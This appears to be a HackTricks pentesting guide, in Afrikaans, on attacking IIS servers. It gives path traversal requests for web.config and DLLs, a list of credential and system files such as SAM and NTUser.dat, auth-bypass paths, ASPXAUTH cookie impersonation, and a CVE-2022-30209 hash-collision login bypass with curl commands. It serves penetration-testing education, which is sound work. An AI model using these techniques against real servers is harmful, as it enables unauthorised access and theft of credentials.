IIS - Internet Information Services

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte gekompromiteer is deur stealer-malware.

Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.

Jy kan hul webwerf besoek en hul enjin gratis probeer by:


Toets uitvoerbare lêeruitbreidings:

  • asp

  • aspx

  • config

  • php

Interne IP-adres bekendmaking

Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host-kop en HTTP/1.0 te verwyder en binne die respons kan die Ligging-kop jou na die interne IP-adres wys:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Antwoord wat die interne IP blootstel:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Voer .config-lêers uit

Jy kan .config-lêers oplaai en hulle gebruik om kode uit te voer. Een manier om dit te doen is om die kode aan die einde van die lêer by te voeg binne 'n HTML-kommentaar: Laai voorbeeld hier af

Meer inligting en tegnieke om van hierdie kwesbaarheid te misbruik hier

IIS Ontdekking Brute Force

Laai die lys wat ek geskep het af:

Dit is geskep deur die inhoud van die volgende lyste saam te voeg:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Gebruik dit sonder om enige uitbreiding by te voeg, die lêers wat dit nodig het, het dit reeds.

Pad Traversal

Uitlek van bronkode

Kyk na die volledige uiteensetting in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

As opsomming, daar is verskeie web.config-lêers binne die toepassings se vouers met verwysings na "assemblyIdentity" lêers en "namespaces". Met hierdie inligting is dit moontlik om te weet waar uitvoerbare lêers geleë is en hulle af te laai. Van die afgelaaide Dlls is dit ook moontlik om nuwe namespaces te vind waar jy moet probeer om toegang te verkry en die web.config-lêer te kry om nuwe namespaces en assemblyIdentity te vind. Ook kan die lêers connectionstrings.config en global.asax interessante inligting bevat.\

In .Net MVC-toepassings speel die web.config-lêer 'n deurslaggewende rol deur elke binêre lêer wat die toepassing op steun deur "assemblyIdentity" XML-etikette te spesifiseer.

Verkenning van Binêre Lêers

'n Voorbeeld van die toegang tot die web.config-lêer word hieronder getoon:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Hierdie versoek onthul verskeie instellings en afhanklikhede, soos:

  • EntityFramework weergawe

  • AppSettings vir webbladsye, klientvalidasie, en JavaScript

  • Konfigurasies vir System.web vir outentifikasie en uitvoertyd

  • Instellings vir System.webServer modules

  • Monteerbindinge vir verskeie biblioteke soos Microsoft.Owin, Newtonsoft.Json, en System.Web.Mvc in die Runtime.

Hierdie instellings dui daarop dat sekere lêers, soos /bin/WebGrease.dll, binne die toepassing se /bin-vouer geleë is.

Hoofgidslêers

Lêers wat in die hoofgids gevind word, soos /global.asax en /connectionstrings.config (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.

Namespaces en Web.Config

MVC-toepassings definieer ook addisionele web.config-lêers vir spesifieke namespaces om herhalende verklarings in elke lêer te vermy, soos gedemonstreer met 'n versoek om 'n ander web.config af te laai:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Aflaai van DLLs

Die vermelding van 'n aangepaste namespace dui op 'n DLL met die naam "WebApplication1" wat teenwoordig is in die /bin-gids. Hierna word 'n versoek om die WebApplication1.dll af te laai, getoon:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Dit dui op die teenwoordigheid van ander noodsaaklike DLL's, soos System.Web.Mvc.dll en System.Web.Optimization.dll, in die /bin gids.

In 'n scenario waar 'n DLL 'n naamsruimte invoer wat WebApplication1.Areas.Minded genoem word, kan 'n aanvaller aflei dat daar ander web.config-lêers in voorspelbare paaie is, soos /area-name/Views/, wat spesifieke konfigurasies en verwysings na ander DLL's in die /bin-gids bevat. Byvoorbeeld, 'n versoek na /Minded/Views/web.config kan konfigurasies en naamsruimtes blootstel wat dui op die teenwoordigheid van 'n ander DLL, WebApplication1.AdditionalFeatures.dll.

Gewone lêers

Van hier

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Fout

As jy 'n fout soos die volgende sien:

Dit beteken dat die bediener nie die korrekte domeinnaam binne die Host-kop ontvang het nie. Om die webblad te kan besoek, kan jy na die bediende SSL-sertifikaat kyk en miskien vind jy die domein/subdomeinnaam daarin. As dit nie daar is nie, moet jy dalk VHosts kragtig afdwing totdat jy die regte een vind.

Oue IIS kwesbaarhede wat die moeite werd is om na te soek

Microsoft IIS tilde karakter "~" Kwesbaarheid/Funksie - Kort Lêernaam-/Vouernaam-Openbaarmaking

Jy kan probeer om vouers en lêers op te som binne elke ontdekte vouer (selfs as dit Basiese Verifikasie vereis) met behulp van hierdie tegniek. Die hoofbeperking van hierdie tegniek as die bediener kwesbaar is, is dat dit slegs tot die eerste 6 letters van die naam van elke lêer/vouer en die eerste 3 letters van die uitbreiding van die lêers kan vind.

Jy kan https://github.com/irsdl/IIS-ShortName-Scanner gebruik om vir hierdie kwesbaarheid te toets: java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Oorspronklike navorsing: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Jy kan ook metasploit gebruik: use scanner/http/iis_shortname_scanner

Basiese Verifikasie omseil

Omseil basiese verifikasie (IIS 7.5) deur te probeer om toegang te verkry tot: /admin:$i30:$INDEX_ALLOCATION/admin.php of /admin::$INDEX_ALLOCATION/admin.php

Jy kan probeer om hierdie kwesbaarheid en die vorige een te kombineer om nuwe vouers te vind en die verifikasie te omseil.

ASP.NET Trace.AXD geaktiveerde foutopsporing

ASP.NET sluit 'n foutopsporingsmodus in en sy lêer word trace.axd genoem.

Dit hou 'n baie gedetailleerde log van alle versoek wat oor 'n tydperk aan 'n aansoek gedoen is.

Hierdie inligting sluit in afgeleë kliënt IP's, sessie-ID's, alle versoek- en antwoordkoekies, fisiese paaie, bronkode-inligting, en moontlik selfs gebruikersname en wagwoorde.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH Koekie

ASPXAUTH gebruik die volgende inligting:

  • validationKey (string): heks-geënkripteerde sleutel om vir handtekeningvalidering te gebruik.

  • decryptionMethod (string): (verstek "AES").

  • decryptionIV (string): heks-geënkripteerde inisialisasievektor (verstek na 'n vektor van nulle).

  • decryptionKey (string): heks-geënkripteerde sleutel om vir dekriptering te gebruik.

Tog sal sommige mense die verstekwaardes van hierdie parameters gebruik en as koekie die e-pos van die gebruiker gebruik. Daarom, as jy 'n webwerf kan vind wat dieselfde platform gebruik wat die ASPXAUTH-koekie gebruik en jy 'n gebruiker met die e-pos van die gebruiker wat jy wil voorstel, kan skep op die bediener wat aangeval word, kan jy moontlik die koekie van die tweede bediener in die eerste een gebruik en die gebruiker voorstel. Hierdie aanval het gewerk in hierdie verslag.

IIS Verifikasie Omseiling met gekaapte wagwoorde (CVE-2022-30209)

Volledige verslag hier: 'n Fout in die kode het nie behoorlik vir die wagwoord wat deur die gebruiker gegee is, nagegaan nie, sodat 'n aanvaller wie se wagwoordhash 'n sleutel tref wat reeds in die cache is, as daardie gebruiker kan aanmeld.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur steel-malware gekompromiteer is.

Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated